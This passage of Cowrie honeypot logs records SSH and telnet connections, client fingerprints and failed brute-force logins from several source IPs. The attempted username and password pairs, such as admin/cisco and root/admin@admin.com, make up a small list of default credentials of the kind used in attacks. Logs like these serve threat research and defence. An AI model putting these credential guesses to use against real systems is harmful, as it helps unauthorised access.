"sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:55.561890Z","src_ip":"217.154.192.185","session":"7b37c4e2bd85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cisco","message":"login attempt [admin/cisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:55.968512Z","src_ip":"217.154.192.185","session":"7b37c4e2bd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:51:57.064296Z","src_ip":"217.154.192.185","session":"7b37c4e2bd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60670,"dst_ip":"10.17.0.5","dst_port":23,"session":"289c0d9c6611","protocol":"telnet","message":"New connection: 5.61.90.139:60670 (10.17.0.5:23) [session: 289c0d9c6611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:19.660691Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35434,"dst_ip":"159.203.135.109","dst_port":22,"session":"54eb3cc1e5c3","protocol":"ssh","message":"New connection: 159.203.92.129:35434 (159.203.135.109:22) [session: 54eb3cc1e5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:19.737213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:19.741231Z","src_ip":"159.203.92.129","session":"54eb3cc1e5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:19.757451Z","src_ip":"159.203.92.129","session":"54eb3cc1e5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"aitech321","message":"login attempt [aitech/aitech321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:19.771132Z","src_ip":"159.203.92.129","session":"54eb3cc1e5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:20.776895Z","src_ip":"159.203.92.129","session":"54eb3cc1e5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":53744,"dst_ip":"159.203.135.109","dst_port":22,"session":"89b5e982af91","protocol":"ssh","message":"New connection: 91.134.240.52:53744 (159.203.135.109:22) [session: 89b5e982af91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:23.329539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:23.334692Z","src_ip":"91.134.240.52","session":"89b5e982af91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:23.409346Z","src_ip":"91.134.240.52","session":"89b5e982af91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pjsuser","password":"pjsuser","message":"login attempt [pjsuser/pjsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:23.744740Z","src_ip":"91.134.240.52","session":"89b5e982af91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:24.832328Z","src_ip":"91.134.240.52","session":"89b5e982af91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.127684116363525,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:25.186944Z","src_ip":"5.61.90.139","session":"34e854368f56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.13488459587097,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:25.273762Z","src_ip":"5.61.90.139","session":"847abbadcd57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60672,"dst_ip":"10.17.0.5","dst_port":23,"session":"0602f9659458","protocol":"telnet","message":"New connection: 5.61.90.139:60672 (10.17.0.5:23) [session: 0602f9659458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:28.725648Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60674,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3366b0d575b","protocol":"telnet","message":"New connection: 5.61.90.139:60674 (10.17.0.5:23) [session: e3366b0d575b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:28.927226Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":44048,"dst_ip":"159.203.135.109","dst_port":22,"session":"97eb7fb8986f","protocol":"ssh","message":"New connection: 80.253.31.232:44048 (159.203.135.109:22) [session: 97eb7fb8986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:35.938306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:35.942771Z","src_ip":"80.253.31.232","session":"97eb7fb8986f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:36.074388Z","src_ip":"80.253.31.232","session":"97eb7fb8986f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester123","message":"login attempt [tester/tester123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:36.631896Z","src_ip":"80.253.31.232","session":"97eb7fb8986f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:37.765954Z","src_ip":"80.253.31.232","session":"97eb7fb8986f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":49734,"dst_ip":"159.203.135.109","dst_port":22,"session":"0339d2e5713b","protocol":"ssh","message":"New connection: 217.154.192.185:49734 (159.203.135.109:22) [session: 0339d2e5713b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:51.417225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:51.422092Z","src_ip":"217.154.192.185","session":"0339d2e5713b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:51.516542Z","src_ip":"217.154.192.185","session":"0339d2e5713b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"Aa123456","message":"login attempt [esuser/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:51.923401Z","src_ip":"217.154.192.185","session":"0339d2e5713b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:53.019596Z","src_ip":"217.154.192.185","session":"0339d2e5713b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.03796648979187,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:52:57.698540Z","src_ip":"5.61.90.139","session":"289c0d9c6611","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41380,"dst_ip":"159.203.135.109","dst_port":22,"session":"3134512308bb","protocol":"ssh","message":"New connection: 159.203.92.129:41380 (159.203.135.109:22) [session: 3134512308bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:01.835670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:01.841735Z","src_ip":"159.203.92.129","session":"3134512308bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:01.848797Z","src_ip":"159.203.92.129","session":"3134512308bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitpm","password":"123456","message":"login attempt [aitpm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:01.861718Z","src_ip":"159.203.92.129","session":"3134512308bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60676,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99b343ef080","protocol":"telnet","message":"New connection: 5.61.90.139:60676 (10.17.0.5:23) [session: f99b343ef080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:02.673563Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:02.869014Z","src_ip":"159.203.92.129","session":"3134512308bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.583006143569946,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:09.510128Z","src_ip":"5.61.90.139","session":"e3366b0d575b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.30586314201355,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:11.031390Z","src_ip":"5.61.90.139","session":"0602f9659458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":40694,"dst_ip":"159.203.135.109","dst_port":22,"session":"d56b9d002200","protocol":"ssh","message":"New connection: 80.253.31.232:40694 (159.203.135.109:22) [session: d56b9d002200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:21.805850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:21.810511Z","src_ip":"80.253.31.232","session":"d56b9d002200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:21.933815Z","src_ip":"80.253.31.232","session":"d56b9d002200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60684,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fc47526c276","protocol":"telnet","message":"New connection: 5.61.90.139:60684 (10.17.0.5:23) [session: 5fc47526c276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:22.184702Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60686,"dst_ip":"10.17.0.5","dst_port":23,"session":"97dbcb8e67cd","protocol":"telnet","message":"New connection: 5.61.90.139:60686 (10.17.0.5:23) [session: 97dbcb8e67cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:22.357181Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@admin.com","message":"login attempt [root/admin@admin.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:22.452757Z","src_ip":"80.253.31.232","session":"d56b9d002200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:23.577245Z","src_ip":"80.253.31.232","session":"d56b9d002200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":53856,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bc04e297066","protocol":"ssh","message":"New connection: 217.154.192.185:53856 (159.203.135.109:22) [session: 4bc04e297066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:39.289643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:39.294368Z","src_ip":"217.154.192.185","session":"4bc04e297066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-n